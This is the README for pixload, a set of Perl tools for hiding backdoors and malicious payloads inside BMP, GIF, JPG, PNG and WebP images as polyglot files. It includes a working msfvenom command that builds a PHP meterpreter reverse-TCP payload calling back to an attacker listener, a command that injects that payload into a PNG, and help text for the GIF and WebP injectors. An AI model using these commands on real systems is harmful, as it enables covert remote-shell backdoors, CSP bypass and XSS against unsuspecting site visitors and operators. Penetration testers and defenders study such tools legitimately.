pixload -- Image Payload Creating tools DESCRIPTION

Set of tools for hiding backdoors creating/injecting payload into images.

The following image types are currently supported: BMP, GIF, JPG, PNG, WebP.

about

Useful references for better understanding of pixload and its use-cases:

Bypassing CSP using polyglot JPEGs

Hacking group using Polyglot images to hide malvertising attacks

Encoding Web Shells in PNG IDAT chunks

An XSS on Facebook via PNGs & Wonky Content Types

Revisiting XSS payloads in PNG IDAT chunks

If you want to encode a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid image file, I recommend you to look here and here.

msfvenom

If you want to inject a metasploit payload, you have to do something like this:

Create metasploit payload (i.e. php). $ msfvenom -p php/meterpreter_reverse_tcp \ LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php

Edit payload.php if needed.

Inject payload.php into the image (i.e. png).

$ pixload-png --payload "$(cat payload.php)" payload.png SETUP Dependencies

The following Perl modules are required:

Image::ExifTool

String::CRC32

On Debian-based systems install these packages:

sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

On FreeBSD and DragonFlyBSD install these packages:

doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32

On OSX please refer to this workaround (thnx 2 @iosdec).

pixload-gif Help $ pixload-gif --help Usage: pixload-gif [OPTION]... FILE Hide payload/malicious code in GIF images. Mandatory arguments to long options are mandatory for short options too. -W, --pixelwidth INTEGER (has no effect) set pixel width for the new image (default: 10799) -H, --pixelheight INTEGER set pixel height for the new image (default: 32) -P, --payload STRING set payload for injection -v, --version print version and exit -h, --help print help and exit The option -W, --pixelwidth has no effect since pixload-gif rewrites pixel width bytes with "/*" characters, to prepare the polyglot gif image. If the output FILE already exists, then the payload will be injected into this existing file. Otherwise, the new one will be created with specified pixels wide.

pixload-webp Help $ pixload-webp --help Usage: pixload-webp [OPTION]... FILE Hide payloads/malicious code in WebP images. Mandatory arguments to long options are mandatory for short options too. -P, --payload STRING set payload for injection -v, --version print version and exit -h, --help print help and exit Currently, there is no possibility to inject the payload into an existing WebP image. Only the new (minimal) WebP image will be created and your payload will be injected into. If the output FILE already exists, the payload will be injected into the existing image, but this image will be corrupted. Example $ pixload-webp payload.webp ........
